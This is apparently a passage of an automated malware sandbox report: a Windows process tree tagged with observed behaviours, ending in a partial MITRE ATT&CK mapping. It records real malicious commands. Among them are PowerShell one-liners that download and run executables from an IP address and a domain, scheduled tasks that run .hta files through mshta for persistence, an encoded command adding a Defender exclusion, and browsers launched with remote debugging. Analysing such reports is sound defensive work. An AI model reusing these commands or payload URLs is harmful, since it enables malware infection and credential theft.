                              PID:5704
                            • C:\Program Files\Mozilla Firefox\firefox.exe
                              "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3340 -prefsLen 34773 -prefMapHandle 3004 -prefMapSize 270279 -jsInitHandle 2744 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 2808 -initialChannelId {fbbc3352-5c45-4849-882e-97ca0a2c6a13} -parentPid 4344 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4344" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 tab
                              8⤵
                                PID:1072
                              • C:\Program Files\Mozilla Firefox\firefox.exe
                                "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 4936 -prefsLen 34903 -prefMapHandle 4944 -prefMapSize 270279 -ipcHandle 3452 -initialChannelId {039c8077-6243-48f4-bb7a-220e340b7c7e} -parentPid 4344 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4344" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 utility
                                8⤵
                                  PID:7380
                                • C:\Program Files\Mozilla Firefox\firefox.exe
                                  "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5424 -prefsLen 32952 -prefMapHandle 5548 -prefMapSize 270279 -jsInitHandle 5564 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5532 -initialChannelId {bd813801-39c4-4862-9a1b-b6383f70147c} -parentPid 4344 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4344" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab
                                  8⤵
                                    PID:5740
                                  • C:\Program Files\Mozilla Firefox\firefox.exe
                                    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5768 -prefsLen 32952 -prefMapHandle 5772 -prefMapSize 270279 -jsInitHandle 5776 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5784 -initialChannelId {e908c5d5-dd2a-4daa-b8af-5e55056a0ed1} -parentPid 4344 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4344" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab
                                    8⤵
                                      PID:2868
                                    • C:\Program Files\Mozilla Firefox\firefox.exe
                                      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5956 -prefsLen 32952 -prefMapHandle 5960 -prefMapSize 270279 -jsInitHandle 5964 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5972 -initialChannelId {8163ab23-af49-4c7a-9a1e-aea2255ee77e} -parentPid 4344 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4344" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab
                                      8⤵
                                        PID:3056
                                • C:\Users\Admin\AppData\Local\Temp\10222740101\a0eb7fc0f6.exe
                                  "C:\Users\Admin\AppData\Local\Temp\10222740101\a0eb7fc0f6.exe"
                                  5⤵
                                    PID:3128
                                  • C:\Users\Admin\AppData\Local\Temp\10222750101\f85a5c2a91.exe
                                    "C:\Users\Admin\AppData\Local\Temp\10222750101\f85a5c2a91.exe"
                                    5⤵
                                      PID:5652
                                    • C:\Users\Admin\AppData\Local\Temp\10222760101\b90944a141.exe
                                      "C:\Users\Admin\AppData\Local\Temp\10222760101\b90944a141.exe"
                                      5⤵
                                        PID:3756
                                        • C:\Windows\SysWOW64\cmd.exe
                                          C:\Windows\system32\cmd.exe /c schtasks /create /tn BwOT5maLVBq /tr "mshta C:\Users\Admin\AppData\Local\Temp\4jyoeV317.hta" /sc minute /mo 25 /ru "Admin" /f
                                          6⤵
                                            PID:6220
                                            • C:\Windows\SysWOW64\schtasks.exe
                                              schtasks /create /tn BwOT5maLVBq /tr "mshta C:\Users\Admin\AppData\Local\Temp\4jyoeV317.hta" /sc minute /mo 25 /ru "Admin" /f
                                              7⤵
                                              • Scheduled Task/Job: Scheduled Task
                                              PID:6304
                                          • C:\Windows\SysWOW64\mshta.exe
                                            mshta C:\Users\Admin\AppData\Local\Temp\4jyoeV317.hta
                                            6⤵
                                              PID:6228
                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'FSQGAFSLWTGBMXSRDEJOHDHNJESJM1A1.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
                                                7⤵
                                                • Command and Scripting Interpreter: PowerShell
                                                PID:6348
                                          • C:\Windows\SysWOW64\cmd.exe
                                            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\10222770121\am_no.cmd" "
                                            5⤵
                                              PID:6620
                                              • C:\Windows\SysWOW64\timeout.exe
                                                timeout /t 2
                                                6⤵
                                                • Delays execution with timeout.exe
                                                PID:6664
                                              • C:\Windows\SysWOW64\cmd.exe
                                                C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
                                                6⤵
                                                  PID:6708
                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                    powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
                                                    7⤵
                                                    • Command and Scripting Interpreter: PowerShell
                                                    PID:6724
                                                • C:\Windows\SysWOW64\cmd.exe
                                                  C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
                                                  6⤵
                                                    PID:6852
                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                      powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
                                                      7⤵
                                                      • Command and Scripting Interpreter: PowerShell
                                                      PID:6864
                                                  • C:\Windows\SysWOW64\cmd.exe
                                                    C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
                                                    6⤵
                                                      PID:7112
                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
                                                        7⤵
                                                        • Command and Scripting Interpreter: PowerShell
                                                        PID:7140
                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                      schtasks /create /tn "k4FYSmaQZWJ" /tr "mshta \"C:\Temp\egmxhy9L7.hta\"" /sc minute /mo 25 /ru "Admin" /f
                                                      6⤵
                                                      • Scheduled Task/Job: Scheduled Task
                                                      PID:7256
                                                    • C:\Windows\SysWOW64\mshta.exe
                                                      mshta "C:\Temp\egmxhy9L7.hta"
                                                      6⤵
                                                        PID:7272
                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'\483d2fa8a0d53818306efeb32d3.exe';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
                                                          7⤵
                                                          • Command and Scripting Interpreter: PowerShell
                                                          PID:7344
                                                    • C:\Users\Admin\AppData\Local\Temp\10222780101\j21Hq7C.exe
                                                      "C:\Users\Admin\AppData\Local\Temp\10222780101\j21Hq7C.exe"
                                                      5⤵
                                                        PID:7028
                                                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                                          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                                          6⤵
                                                            PID:7076
                                                        • C:\Users\Admin\AppData\Local\Temp\10222790101\b0hgYat.exe
                                                          "C:\Users\Admin\AppData\Local\Temp\10222790101\b0hgYat.exe"
                                                          5⤵
                                                            PID:7520
                                                            • C:\Users\Admin\AppData\Local\Temp\10222790101\b0hgYat.exe
                                                              "C:\Users\Admin\AppData\Local\Temp\10222790101\b0hgYat.exe"
                                                              6⤵
                                                                PID:8168
                                                                • C:\Windows\system32\cmd.exe
                                                                  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tmpc4q6i4z1.bat"
                                                                  7⤵
                                                                    PID:6084
                                                                    • C:\Windows\system32\timeout.exe
                                                                      timeout /t 2 /nobreak
                                                                      8⤵
                                                                      • Delays execution with timeout.exe
                                                                      PID:4060
                                                              • C:\Users\Admin\AppData\Local\Temp\10222800101\ADFoyxP.exe
                                                                "C:\Users\Admin\AppData\Local\Temp\10222800101\ADFoyxP.exe"
                                                                5⤵
                                                                  PID:4180
                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                    powershell.exe -c "Invoke-WebRequest -Uri 'https://safetyingold.com/share/4822aa372544ea4642142339b22d22421d08bdb543cd2de334b3fd0e5fc07565.exe' -OutFile 'C:\Users\Admin\AppData\Roaming\Microsoft\Protect\rsfff01fff.exe' -Headers @{'User-Agent'='build2'}"
                                                                    6⤵
                                                                    • Command and Scripting Interpreter: PowerShell
                                                                    PID:2628
                                                                • C:\Users\Admin\AppData\Local\Temp\10222810101\9JFiKVm.exe
                                                                  "C:\Users\Admin\AppData\Local\Temp\10222810101\9JFiKVm.exe"
                                                                  5⤵
                                                                    PID:6840
                                                                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                                                      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                                                      6⤵
                                                                        PID:6948
                                                                        • C:\Users\Admin\AppData\Roaming\vINCmvuIIQ.exe
                                                                          "C:\Users\Admin\AppData\Roaming\vINCmvuIIQ.exe"
                                                                          7⤵
                                                                            PID:7000
                                                                      • C:\Users\Admin\AppData\Local\Temp\10222820101\packed.exe
                                                                        "C:\Users\Admin\AppData\Local\Temp\10222820101\packed.exe"
                                                                        5⤵
                                                                          PID:2960
                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                            powershell.exe -NoProfile -WindowStyle Hidden -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAUAByAG8AZwByAGEAbQAgAEYAaQBsAGUAcwBcAFIAdQBuAHQAaQBtAGUAQQBwAHAAJwA=
                                                                            6⤵
                                                                            • Command and Scripting Interpreter: PowerShell
                                                                            PID:5524
                                                                    • C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\2x8387.exe
                                                                      C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\2x8387.exe
                                                                      3⤵
                                                                      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                      • Downloads MZ/PE file
                                                                      • Checks BIOS information in registry
                                                                      • Executes dropped EXE
                                                                      • Identifies Wine through registry keys
                                                                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                      • System Location Discovery: System Language Discovery
                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      • Suspicious use of WriteProcessMemory
                                                                      PID:5940
                                                                      • C:\Users\Admin\AppData\Local\Temp\EKJDDGJS3OPZUC671177XNO.exe
                                                                        "C:\Users\Admin\AppData\Local\Temp\EKJDDGJS3OPZUC671177XNO.exe"
                                                                        4⤵
                                                                        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                        • Checks BIOS information in registry
                                                                        • Executes dropped EXE
                                                                        • Identifies Wine through registry keys
                                                                        • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                        • System Location Discovery: System Language Discovery
                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                        PID:4296
                                                                  • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\3r19R.exe
                                                                    C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\3r19R.exe
                                                                    2⤵
                                                                    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                    • Downloads MZ/PE file
                                                                    • Checks BIOS information in registry
                                                                    • Executes dropped EXE
                                                                    • Identifies Wine through registry keys
                                                                    • Loads dropped DLL
                                                                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                    • System Location Discovery: System Language Discovery
                                                                    • Checks processor information in registry
                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                    • Suspicious use of WriteProcessMemory
                                                                    PID:2304
                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
                                                                      3⤵
                                                                      • Uses browser remote debugging
                                                                      • Drops file in Windows directory
                                                                      • Enumerates system info in registry
                                                                      • Modifies data under HKEY_USERS
                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                      • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      • Suspicious use of FindShellTrayWindow
                                                                      • Suspicious use of WriteProcessMemory
                                                                      PID:3312
                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0x138,0x13c,0x140,0x114,0x144,0x7ffc758fdcf8,0x7ffc758fdd04,0x7ffc758fdd10
                                                                        4⤵
                                                                          PID:5924
                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=1964,i,149916337709002592,10551815265656232330,262144 --variations-seed-version=20250314-050508.937000 --mojo-platform-channel-handle=1960 /prefetch:2
                                                                          4⤵
                                                                            PID:5132
                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --field-trial-handle=2164,i,149916337709002592,10551815265656232330,262144 --variations-seed-version=20250314-050508.937000 --mojo-platform-channel-handle=2220 /prefetch:11
                                                                            4⤵
                                                                              PID:4260
                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=2400,i,149916337709002592,10551815265656232330,262144 --variations-seed-version=20250314-050508.937000 --mojo-platform-channel-handle=2432 /prefetch:13
                                                                              4⤵
                                                                                PID:3916
                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9229 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3288,i,149916337709002592,10551815265656232330,262144 --variations-seed-version=20250314-050508.937000 --mojo-platform-channel-handle=3308 /prefetch:1
                                                                                4⤵
                                                                                • Uses browser remote debugging
                                                                                PID:5372
                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9229 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3504,i,149916337709002592,10551815265656232330,262144 --variations-seed-version=20250314-050508.937000 --mojo-platform-channel-handle=3524 /prefetch:1
                                                                                4⤵
                                                                                • Uses browser remote debugging
                                                                                PID:3108
                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --extension-process --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9229 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4336,i,149916337709002592,10551815265656232330,262144 --variations-seed-version=20250314-050508.937000 --mojo-platform-channel-handle=4356 /prefetch:9
                                                                                4⤵
                                                                                • Uses browser remote debugging
                                                                                PID:5656
                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9229 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=4768,i,149916337709002592,10551815265656232330,262144 --variations-seed-version=20250314-050508.937000 --mojo-platform-channel-handle=3292 /prefetch:1
                                                                                4⤵
                                                                                • Uses browser remote debugging
                                                                                PID:3756
                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5396,i,149916337709002592,10551815265656232330,262144 --variations-seed-version=20250314-050508.937000 --mojo-platform-channel-handle=5408 /prefetch:14
                                                                                4⤵
                                                                                  PID:6124
                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5448,i,149916337709002592,10551815265656232330,262144 --variations-seed-version=20250314-050508.937000 --mojo-platform-channel-handle=5476 /prefetch:14
                                                                                  4⤵
                                                                                    PID:6092
                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""
                                                                                  3⤵
                                                                                  • Uses browser remote debugging
                                                                                  PID:832
                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --edge-skip-compat-layer-relaunch
                                                                                    4⤵
                                                                                    • Uses browser remote debugging
                                                                                    • Drops file in Windows directory
                                                                                    • Enumerates system info in registry
                                                                                    • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                                                                                    • Suspicious use of FindShellTrayWindow
                                                                                    PID:1576
                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x23c,0x240,0x244,0x238,0x24c,0x7ffc75d7f208,0x7ffc75d7f214,0x7ffc75d7f220
                                                                                      5⤵
                                                                                        PID:1192
                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=2144,i,18069927861600347545,2405199569483196060,262144 --variations-seed-version --mojo-platform-channel-handle=2124 /prefetch:2
                                                                                        5⤵
                                                                                          PID:1512
                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=1900,i,18069927861600347545,2405199569483196060,262144 --variations-seed-version --mojo-platform-channel-handle=2340 /prefetch:11
                                                                                          5⤵
                                                                                            PID:4824
                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=2512,i,18069927861600347545,2405199569483196060,262144 --variations-seed-version --mojo-platform-channel-handle=2524 /prefetch:13
                                                                                            5⤵
                                                                                              PID:3896
                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --remote-debugging-port=9229 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=3468,i,18069927861600347545,2405199569483196060,262144 --variations-seed-version --mojo-platform-channel-handle=3508 /prefetch:1
                                                                                              5⤵
                                                                                              • Uses browser remote debugging
                                                                                              PID:5952
                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --instant-process --pdf-upsell-enabled --remote-debugging-port=9229 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=3472,i,18069927861600347545,2405199569483196060,262144 --variations-seed-version --mojo-platform-channel-handle=3568 /prefetch:1
                                                                                              5⤵
                                                                                              • Uses browser remote debugging
                                                                                              PID:788
                                                                                    • C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
                                                                                      "C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
                                                                                      1⤵
                                                                                        PID:5740
                                                                                      • C:\Windows\system32\svchost.exe
                                                                                        C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                                                                                        1⤵
                                                                                          PID:1560
                                                                                        • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                                                                          C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                                                                          1⤵
                                                                                          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                          • Checks BIOS information in registry
                                                                                          • Executes dropped EXE
                                                                                          • Identifies Wine through registry keys
                                                                                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                          PID:2336
                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe
                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"
                                                                                          1⤵
                                                                                            PID:3892
                                                                                          • C:\Windows\system32\sihost.exe
                                                                                            sihost.exe
                                                                                            1⤵
                                                                                            • Suspicious use of FindShellTrayWindow
                                                                                            PID:3108
                                                                                            • C:\Windows\explorer.exe
                                                                                              explorer.exe /LOADSAVEDWINDOWS
                                                                                              2⤵
                                                                                              • Boot or Logon Autostart Execution: Active Setup
                                                                                              • Enumerates connected drives
                                                                                              • Checks SCSI registry key(s)
                                                                                              • Modifies registry class
                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                              • Suspicious use of FindShellTrayWindow
                                                                                              • Suspicious use of SendNotifyMessage
                                                                                              • Suspicious use of SetWindowsHookEx
                                                                                              PID:4068
                                                                                          • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
                                                                                            "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
                                                                                            1⤵
                                                                                            • Enumerates system info in registry
                                                                                            • Modifies Internet Explorer settings
                                                                                            • Modifies registry class
                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                            PID:5732
                                                                                          • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                                                            "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                                                            1⤵
                                                                                            • Modifies registry class
                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                            PID:5084
                                                                                          • C:\Users\Admin\AppData\Local\Temp\845cfbab99\Gxtuum.exe
                                                                                            C:\Users\Admin\AppData\Local\Temp\845cfbab99\Gxtuum.exe
                                                                                            1⤵
                                                                                            • Executes dropped EXE
                                                                                            PID:4936
                                                                                          • C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe
                                                                                            C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe
                                                                                            1⤵
                                                                                            • Executes dropped EXE
                                                                                            PID:1712
                                                                                          • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                                                                            C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                                                                            1⤵
                                                                                            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                            • Checks BIOS information in registry
                                                                                            • Executes dropped EXE
                                                                                            • Identifies Wine through registry keys
                                                                                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                            PID:3896
                                                                                          • C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe
                                                                                            C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe
                                                                                            1⤵
                                                                                            • Executes dropped EXE
                                                                                            PID:5760
                                                                                          • C:\Users\Admin\AppData\Local\Temp\845cfbab99\Gxtuum.exe
                                                                                            C:\Users\Admin\AppData\Local\Temp\845cfbab99\Gxtuum.exe
                                                                                            1⤵
                                                                                            • Executes dropped EXE
                                                                                            PID:4280
                                                                                          • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                                                                            C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                                                                            1⤵
                                                                                            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                            • Checks BIOS information in registry
                                                                                            • Executes dropped EXE
                                                                                            • Identifies Wine through registry keys
                                                                                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                            PID:3132
                                                                                          • C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe
                                                                                            C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe
                                                                                            1⤵
                                                                                            • Executes dropped EXE
                                                                                            PID:2912
                                                                                          • C:\Users\Admin\AppData\Local\Temp\845cfbab99\Gxtuum.exe
                                                                                            C:\Users\Admin\AppData\Local\Temp\845cfbab99\Gxtuum.exe
                                                                                            1⤵
                                                                                            • Executes dropped EXE
                                                                                            PID:2812
                                                                                          • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                                                                            C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                                                                            1⤵
                                                                                            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                            • Checks BIOS information in registry
                                                                                            • Executes dropped EXE
                                                                                            • Identifies Wine through registry keys
                                                                                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                            PID:3584
                                                                                          • C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe
                                                                                            C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe
                                                                                            1⤵
                                                                                              PID:4288
                                                                                            • C:\Users\Admin\AppData\Local\Temp\845cfbab99\Gxtuum.exe
                                                                                              C:\Users\Admin\AppData\Local\Temp\845cfbab99\Gxtuum.exe
                                                                                              1⤵
                                                                                                PID:6628
                                                                                              • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                                                                                C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                                                                                1⤵
                                                                                                  PID:7300

                                                                                                Network

                                                                                                MITRE ATT&CK Enterprise v15

                                                                                                Reconnaissance

                                                                                                Resource Development

                                                                                                Initial Access

                                                                                                Execution

                                                                                                Command and Scripting Interpreter

                                                                                                1
                                                                                                T1059

